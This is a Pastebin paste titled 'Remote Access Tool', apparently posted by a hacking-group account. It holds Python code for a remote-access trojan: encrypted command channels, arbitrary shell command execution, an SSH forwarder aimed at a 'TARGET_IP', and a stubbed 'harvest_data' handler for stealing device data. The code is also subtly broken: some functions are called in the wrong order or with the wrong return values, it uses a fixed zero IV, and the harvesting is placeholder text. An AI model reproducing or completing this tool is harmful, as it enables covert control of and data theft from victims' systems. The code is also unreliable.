Advertisement
xGHOSTSECx

Remote Access Tool

Dec 24th, 2023
1,304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.15 KB | None | 0 0
  1. import socket
  2. import subprocess
  3. import paramiko
  4. import threading
  5. from cryptography.hazmat.backends import default_backend
  6. from cryptography.hazmat.primitives import hashes
  7. from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
  8. from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
  9. def establish_connection(host, port, key):
  10. server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11. server_socket.bind((host, port))
  12. server_socket.listen(1)
  13. client_socket, _ = server_socket.accept()
  14. shared_key = derive_shared_key(client_socket, key)
  15. return client_socket, shared_key
  16. def derive_shared_key(client_socket, password):
  17. salt = client_socket.recv(16)
  18. kdf = PBKDF2HMAC(
  19.     algorithm = hashes.SHA256(),
  20.     iterations = 100000,
  21.     salt = salt,
  22.     length = 32,
  23.     backend = default_backend()
  24. )
  25. key = kdf.derive(password.encode())
  26. return key
  27. def encrypt(data, key):
  28. cipher = Cipher(algorithms.AES(key), modes.CFB(b'\0' * 16), backend = default_backend())
  29. encryptor = cipher.encryptor()
  30. encrypted_data = encryptor.update(data.encode()) + encryptor.finalize()
  31. return encrypted_data
  32. def decrypt(encrypted_data, key):
  33. cipher = Cipher(algorithms.AES(key), modes.CFB(b'\0' * 16), backend = default_backend())
  34. decryptor = cipher.decryptor()
  35. decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
  36. return decrypted_data.decode()
  37. def send_command(client_socket, command, key):
  38. encrypted_command = encrypt(command, key)
  39. client_socket.send(encrypted_command)
  40. def receive_output(client_socket, key):
  41. encrypted_response = client_socket.recv(4096)
  42. response = decrypt(encrypted_response, key)
  43. return response
  44. def close_connection(client_socket):
  45. client_socket.close()
  46. def execute_command(command):
  47. try:
  48. output = subprocess.check_output(command, shell = True, stderr = subprocess.STDOUT, universal_newlines = True)
  49. except subprocess.CalledProcessError as e:
  50. output = f"Error: {
  51.    e.output
  52. }"
  53. return output
  54. def forward_data(client_socket, remote_socket):
  55. while True:
  56. data = client_socket.recv(4096)
  57. remote_socket.send(data)
  58. response = remote_socket.recv(4096)
  59. client_socket.send(response)
  60. def start_ssh_forwarder(local_host, local_port, remote_host, remote_port, username, password):
  61. forwarder_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  62. forwarder_socket.bind((local_host, local_port))
  63. forwarder_socket.listen(1)
  64. client_socket, _ = forwarder_socket.accept()
  65. ssh = paramiko.SSHClient()
  66. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  67. ssh.connect(remote_host, port = 22, username = username, password = password)
  68. remote_socket = ssh.invoke_shell()
  69. return client_socket, remote_socket
  70. def handle_target_client(client_socket, key):
  71. command = receive_command(client_socket, key)
  72. if command.startswith("advanced_command"):
  73. result = handle_advanced_logic(command)
  74. elif command.startswith("harvest_data"):
  75. result = harvest_device_data()
  76. else :
  77. result = execute_command(command)
  78. send_output(client_socket, result, key)
  79. def handle_advanced_logic(command):
  80. # Implement advanced logic based on the received command
  81. result = "Result of the advanced logic"
  82. return result
  83. def harvest_device_data():
  84. # Implement data harvesting logic
  85. data = "All data harvested from the device"
  86. return data
  87. def receive_command(client_socket, key):
  88. encrypted_command = client_socket.recv(4096)
  89. command = decrypt(encrypted_command, key)
  90. return command
  91. def send_output(client_socket, output, key):
  92. encrypted_output = encrypt(output, key)
  93. client_socket.send(encrypted_output)
  94. if __name__ == '__main__':
  95. password = "your_super_secret_password"
  96. client_socket, shared_key = establish_connection("127.0.0.1", 8000, password)
  97. send_command(client_socket, "COMMAND_TO_SEND", shared_key)
  98. response = receive_output(client_socket, shared_key)
  99. close_connection(client_socket)
  100. client_socket, remote_socket = start_ssh_forwarder("127.0.0.1", 9000, "TARGET_IP", 8000, "your_username", "your_password")
  101. threading.Thread(target = forward_data, args = (client_socket, remote_socket)).start()
  102. client_socket = establish_connection("TARGET_IP", 8000, password)
  103. handle_target_client(client_socket, shared_key)
  104. close_connection(client_socket)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement